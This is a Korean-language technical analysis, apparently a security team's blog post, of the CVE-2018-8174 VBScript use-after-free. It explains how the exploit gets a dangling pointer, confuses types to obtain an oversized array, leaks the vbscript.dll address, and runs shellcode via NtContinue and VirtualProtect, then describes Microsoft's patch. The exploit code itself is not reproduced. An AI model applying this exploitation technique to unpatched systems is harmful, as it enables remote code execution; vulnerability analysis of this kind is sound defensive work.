매모리 해제는 VBScript.dll 에 정의된 [그림 6] 의 함수를 통해 진행된다. 코드에서 알 수 있듯 InterlockedDecrement 호출 후 참조 횟수가 0이면 VBScriptClass::TerminateClass 함수가 호출되며, 이 후 해제 대상인 클래스(v1 변수)의 참조 횟수가 1이면 free()함수가 호출된다. Class_Terminate 콜백 함수 호출 시 콜백 함수 내에서 전역변수 o에 해제하기 전 클래스 객체의 주소값을 저장하고, 참조 횟수에 대한 균형을 맞춰줌으로써 free () 함수를 호출한다. 따라서 실제 메모리는 해제되므로 해당 주소값을 Dangling pointer로 사용할 수 있다.

 

) Use After Free

앞서 설명한 Use After Free 의 발생원리를 아래 [그림 7]의 코드(참고문헌 [7])를 이용하여 상세히 설명한다.

 

[그림 7] Use After Free 스크립트

 

[그림 7] 1번 부분에서 Redim 은 내부적으로 [그림 8]과 같은 함수들을 호출한다.


[그림 8] Redim 내부 호출

 

SafeArrayAllocData 함수까지 호출이 끝나면 tagSAFEARRAY 구조체가 생성된다. tagSAFEARRAY 구조체는 [그림 9]과 같은 구조를 가진다(참고문헌 [2]).

 

[그림 9] tagSAFEARRAY 구조체

 

[그림 10] 할당된 메모리 값

 


 

[그림 11] Variant 구조체

 

[그림 7] 1번 부분의 redim 으로 할당되어 초기화 된 메모리 영역이 생성되며, Set 명령어를 통해 값이 할당된다. [그림 10]는 이 과정을 통해 할당된 값 이다. 이때 저장되는 값의 형태는 Variant 구조체이다(참고문헌 [4]). Variant 구조체는 많은 유형의 데이터를 전달하는 구조체로, 첫번째 멤버인 VT(Variant Type)(참고문헌 [5])에 따라 유효한 데이터 유형이 결정된다. 현재 할당된 Variant 구조체의 VT값이 0x09(VT_DISPATCH) 임을 확인할 수 있다[그림 11].

 

[그림 12] VBScriptClass 객체

 

Variant구조체의 VTVT_DISPATCH은 객체 포인터가 저장되며 0x021C6AB8 이 저장되어 있음을 확인할 수 있다. 이 주소에 저장된 값은 VBScriptClass로 할당된 cla1의 객체 정보가 저장된 공간이다. Set을 통해 cla1에 대한 참조값이 증가하여 참조 횟수가 2가 되었음을 확인할 수 있다.

 

[그림 13] VbsErase 내부 호출

 

[그림 7] 1번 부분의 Erase 는 내부적으로 [그림 13] 과 같은 함수들을 호출한다. oleaut32!ReleaseResources 함수는

FreedObjectArray 배열을 순회하며 저장된 값을 초기화하는 기능을 수행하고 oleaut32!VariantClear 함수는 Variant구조체를 초기화 하는 함수이다. VariantClear 함수는 Variant구조체의 VT값에 따라 Clear하는 루틴이 달라진다. Variant구조체의 VT값이 DISPATCH이므로 VBScriptClass::TerminateClass가 호출된다. [그림 7] Erase 함수가 호출되는 시점은 할당 후 즉시 해제하였으므로 참조 횟수는 아래 [그림 13]처럼 1이 되고 이후에 TerminateClass가 호출되고 초기화 함수를 거치면서 [그림 7]번의 2번 콜백 함수부분으로 넘어간다.


[그림 14] Erase 함수 호출 후 참조 횟수

 

초기화를 거친 cla1배열의 참조 횟수는 4 이며, [그림 7] 2번 부분에서 Set부분은 cla1 객체 주소 정보를 가지고 있는 FreedObjectArray 배열을 UafArrayA에 할당하여 참조 횟수를 1 증가시킨다. UafArrayA에 저장된 주소값이 Dangling pointer로 사용된다[그림 15].

 

[그림 15] Dangling pointer

 

[그림 16] FreedObjectArray(1) 후 메모리 변화

 

이후 Redim으로 선언된 FreedObjectArray(1) 배열에 새로운 값을 할당하여 vbscript내부적으로 AssginVar가 호출된다. 이 때 1Variant구조체의 VT값 중 0x02(VT_I2)에 해당하기 때문에 기존 0x09(VT_Dispatch) 값은 0x02(VT_I2)로 위 [그림 16]처럼 할당된다. FreedObjectArray(1) 배열에 객체 참조로 인해 cla1의 참조 횟수는 1 감소한다. 콜백 함수에서 시작값인 4와 동일하게 맞춰진 상태에서 콜백 함수 호출이 종료되어 참조 횟수는 0이 되어 메모리는 해제된다.

결과적으로 클래스 구조체의 참조 횟수에 대한 검증이 제대로 이루어 지지 않아 Use After Free가 발생하였다. 여기서 발생된 Dangling pointerUafArrayA 배열에 저장되고 [그림 7] 3번과정을 통해 ReuseClass 로 재할당되어 이후 TypeConfusion 취약점에 사용된다.

 

) TypeConfusion

TypeConfusion이란 선언된 Type에 대해 혼동을 주는 것을 뜻한다. 아래 [그림 17] 에서 처럼 할당된 Type A 형태의 데이터가 있다고 가정하면 구성된 쉘 코드를 통해 할당된 데이터의 영역에 덮어쓰게 되면 덮어써진 쉘 코드에 의해 데이터의 타입이 변형된다. 변형된 Type A의 영역을 읽게 되면 할당한 Type A가 아닌 변형된 Type B로 인식된다. 이 방식이 TypeConfusion의 원리이다.

 

[그림 17] TypeConfusion 원리

 

CVE-2018-8174 취약점에서 Use After Free2번 진행되며 2개의 Dangling Pointer2ReuseClass 로 할당 한다. Use After Free의 부분에서는 방법과 원리에 차이가 없어 1개의 설명만 했지만, TypeConfusion 부분에서는 2개가 각각 다르게 사용된다. 우선 첫번째 방식을 설명하고 이어 차이점을 뒷 부분에 기술한다.

아래 [그림 18]CVE-2018-8174 코드의 TypeConfusion 부분이다. [그림 7] 3 과정인 Use After Free 로 구해진 Dangling pointer로 할당된 ReuseClass의 주소 resueObjectA_arrTypeConfusion을 위한 메모리를 구성하는 코드이다. resueObjectA_arr 클래스의 SetProp 함수가 호출되면 ReuseClass에 선언된 디폴트 프로퍼티를 수행한다. 디폴트 프로퍼티함수 내에 구성된 Q 0x0C, 0x20값으로 Variant 구조체의 VT값이 0x200C가 되며 변수형은 VT_ARRAY, T_VARIANT 이다. UafArrayA0을 대입하면 VBScript Terminate Class를 호출하게 되고 참조 횟수가 0이 되면서 ReuseClassfree 된다. 이후 objectImitatingArray FakeReuseClass 객체를 할당하는데 이때 ReuseClass 객체 주소와 같은 주소를 할당한다.

 

[그림 18] TypeConfusion 스크립트-1

 

할당된 FakeReuseClass 객체는 아래 [그림 19]와 같다. 아래 [그림 19]의 윗 부분은 ReuseClass 객체를 할당한 공간이며 아래 부분은 FakeReuseClass 객체를 할당한 공간이다. 흰색 네모박스 부분이 함수명, 변수명을 나타내며 흰색 네모박스의 앞의 공간이 할당된 데이터이다. Function0x4C값으로 시작하며, dim으로 선언된 변수는 0x00으로 시작한다.

[그림 19]ReuseClass 객체를 할당한 공간에 FakeReuseClass 객체를 할당하는데 첫번째 함수명이 p에서 10개의 문자열이 추가되어 16byte가 늘어나고 SPP 함수가 이후에 할당된다.

 

[그림 19] TypeConfusion 전 후 메모리 값

 

FakeReuseClass 객체로 할당한 objectImitatingArray mem 에 미리 구성된 FakeArrayString 로 덮어쓴다. FakeArrayStringString으로 구성된 값(0x08,BSTR)으로 비정상적인 크기의 tagSAFEARRAY 를 만들기 위해 구성된 값이다. 쓰는 값인 FakeArrayString BSTR memVT값이 0x08로 바뀐다. 이 중 0xFFFF, 0x7FFF 값이 있는데, 이 값은 TypeConfusion을 할 때 SafeArray 배열의 크기를 0x7FFFFFFF크기로 만들기 위해 구성된 값이다. 또한 0x00010x0880, 0x0001값이 있는데 이 값은 tagSAFEARRAY 구조체의 첫번째, 두번째, 세번째 인자값으로 설정되는데 각각 배열의 차원정보, 배열 피쳐정보, 배열 요소의 크기값이 된다. 이렇게 구성된 값을 objectImitatingArraymem 변수에 덮어쓴다. 이렇게 덮어쓰면 아래 [그림 20]처럼 변경된 tagSAFEARRAY 구조를 볼 수 있다. 1차원 배열의 0x880( FADF_VARIANT | FADF_HAVEVARTYPE )속성과 배열 요소의 크기가 10x7FFFFFFF 개의 배열을 갖게 된다. 디폴트 프로퍼티 함수가 끝나고 SetProp로 돌아가서 정의된 mem 을 구성된 Q 값으로 ReuseClassmem 위치에 덮어쓰게 되어 타입이 0x08(BSTR)에서 0x200C(ARRAY, VARIANT)로 바뀌게 된다. 이 후 reuseObjectA_arrmem을 호출하게 되면 0x7FFFFFFF 크기의 배열을 사용할 수 있게 된다. 비 정상적인 크기의 이 배열은 스크립트가 로드된 iexplore.exe의 힙 영역으로 같은 크기만큼의 메모리를 접근할 수 있다.

 

[그림 20] TypeConfusionreuseObjectA_arr 메모리

 

resueObjectB_intresueObjectA_arr 와 같은 방식으로 TypeConfusion이 된다. 위 설명과 차이점은 디폴트 프로퍼티함수 내에 구성된 P 값과 미리 구성된 FakeArrayString 값이다. 디폴트 프로퍼티함수 내에 구성된 P 값의 VT값이 BSTR(0x08) 에서 LONG(0x03) 으로 바뀌며 비어있는 16byte로 채워진다. 비어있는 공간의 reuseObjectB_int mem을 전역변수 주소를 some_memory 에 넣는다. 비어있는 값은 스크립트가 로드된 iexplore.exe의 힙 영역으로 이후 메모리의 특정 공간을 저장할 때 사용된다.

 


[그림 21] TypeConfusion 스크립트-2

 

[그림 22] TypeConfusionreuseObjectB_int 메모리


 

 

) LeakVBAddr

LeakVBAddr 부분에서는 앞선 TypeConfusion으로 만들어진 배열(resueObjectA_arr) 과 힙 주소(resueObjectB_int)를 이용하여 VBScript.dllbase addresss를 획득한다.

 

[그림 23] LeakVBAddr 스크립트

 

[그림 24] LeakVBAddr 과정의 메모리 변화

 

비어있는 함수 EmptySub emptySub_addr_placeholder 변수에 할당함으로써 vbscript.dll 내부 주소를 포함한 객체가 할당된다. 이때 빈 함수를 변수에 할당하는 것은 문법상 오류가 나지만, On Error Resume Next를 통해서 이후 루틴이 수행가능하다. 이후 null 을 할당하여 VT값이 Func(0x4C) 에서 NULL(0x01) 로 바뀜을 확인할 수 있다. EmptySub를 할당 후 Null을 할당한 상태에서 VTNull(VT=0x01)에서 LONG(0x03)으로 수정하여 메모리 주소를 변수로 출력하여 메모리 주소 누출 시킨다. TypeConfusion 함수를 통해 얻어낸 0x7FFFFFFF 크기의 배열(reuseObjectA_arr.mem) heap Address (some_memory) 에 접근하여 타입변경을 자유롭게 수행할 수 있다.

 

) Execute ShellCode

 

[그림 25] 코드 실행 스크립트

 

쉘 코드의 실행은 0x4D값을 할당하면서 실행된다. 0x4D값을 할당하면 AssignVar가 호출되며 Variant구조체의 VT값을 확인하여 값에 맞는 분기를 한다. VT값이 0x4D일때는 VAR::Clear가 호출되고 구성된 메모리로 인해 NtContinue VirtualProtect로 쉘 코드까지 실행 된다.

 

[그림 26] 코드 실행 과정

 

[그림 27]VirtualProtect로 쉘 코드에 실행 권한을 주기 위해 메모리를 구성하는 스크립트이다. VirtualProtect는 대상주소, 크기, 보호옵션으로 호출된다. 실행 권한으로 64(0x40)가 사용되며 이는 PAGE_EXECUTE_READWRITE 권한이다.

 

[그림 27] VirtualProtect 콜 파라메터 메모리 구성 스크립트

 

[그림28 ]NtContinue를 호출할 때 사용되는 CONTEXT 구조체를 구성하는 스크립트이다. 레지스트리 위치에는 패딩값으로 채워지며, EIP, ESP 값의 위치에 각각 VirtualProtect 의 주소값과 쉘 코드의 EP주소값을 써서 메모리를 구성한다.

 

[그림 28] CONTEXT 구조체 구성 스크립트

 

위에서 설명한 것 처럼 VT0x4D값을 할당하면 AssignVar Var::Clear로 호출되는데, Var::Clear에서 아래 [그림 29]의 분기문을 수행하게 된다. [그림 29]loc_6E50089C에서 첫 번째 줄은 Variant 구조체의 데이터에 해당하는 위치([esi+8])로 위 [그림 28] StructForNtContinue 로 구성한 메모리를 가리킨다. 이후 StructForNtContinue 로 구성한 메모리의 주소를 push 하고 call하여 NtContinue 를 실행하게 한다.

 

[그림 29] 구성된 메모리 실행

 

NtContinue가 호출될 때 위에서 구성된 CONTEXT구조체 주소와 함께 호출되어 VirtualProtect함수를 호출하게 된다.

구성된 CONTEXT구조체로 인해 VirtualProtect 에서 쉘 코드 주소를 받아 실행권한을 주고 return 하여 쉘 코드로 분기하여 쉘 코드가 실행된다.

 

[그림 30] 쉘 코드 실행

 

[그림 31] 메모리 실행권한 변화

 

) 취약점 패치

앞서 설명한 CVE-2018-8174 Use After Free 취약점은 oleaut32.dll 모듈 아래와 같이 패치 되었다(참고문헌 [6]). [그림 32]oleaut32.dll 패치 전 후의 VariantClear함수이다. 그림의 왼쪽 부분이 패치 전 이며 오른쪽 부분이 패치 후 이다. 할당된 Variant 구조체를 해제할 때 호출되는 함수는 [그림 13]과 같다. vbscript.dll VbsErase가 호출되고 내부 호출에 의해 oleaut32.dll 모듈의 VariantClear함수가 호출된다. 호출된 VariantClear함수에서 vbscript.dll 모듈의 TerminateClass로 해제되는데, [그림 32]의 오른쪽 부분처럼 해제할 때 해당 함수에서 Variant Type 값을 0x00(VT_EMPTY)로 채워 넣고 해제 하는 형태로 패치 되었다. 패치 전후의 메모리 값을 보면 VT값이 0x09(VT_DISPATCH)에서 0x00(VT_EMPTY)로 바뀌는 것을 볼 수 있다. 이렇게 패치되어 Use After Free 로 얻어진 Dangling pointer 를 사용면 UafArrayA 배열에 객체 주소를 복사하는 과정에서 오류가 발생하고 객체 재사용이 불가능 하다.

 

[그림 32] CVE-2018-8174 취약점 패치 전 후 VariantClear

 

 

04. 참고문헌

[1] https://github.com/KasperskyLab/VBscriptInternals , Github, KasperskyLab

[2] https://msdn.microsoft.com/ko-kr/windows/hardware/ms221482(v=vs.71) , MSDN, SAFEARRAY structure

[3] https://msdn.microsoft.com/en-us/library/cc237824.aspx , MSDN, ADVFEATUREFLAGS Advanced Feature Flags

[4] https://msdn.microsoft.com/en-us/library/ms931135.aspx , MSDN, VARIANT structure

[5] https://msdn.microsoft.com/en-us/library/cc237865.aspx , MSDN, VARIANT Type Constants

[6] https://portal.msrc.microsoft.com/ko-kr/security-guidance/advisory/CVE-2018-8174 , Microsoft , 보안 업데이트 가이드

[7] https://github.com/piotrflorczyk/cve-2018-8174_analysis/blob/master/analysis.vbs , Github, piotrflorczyk



Posted by 분석팀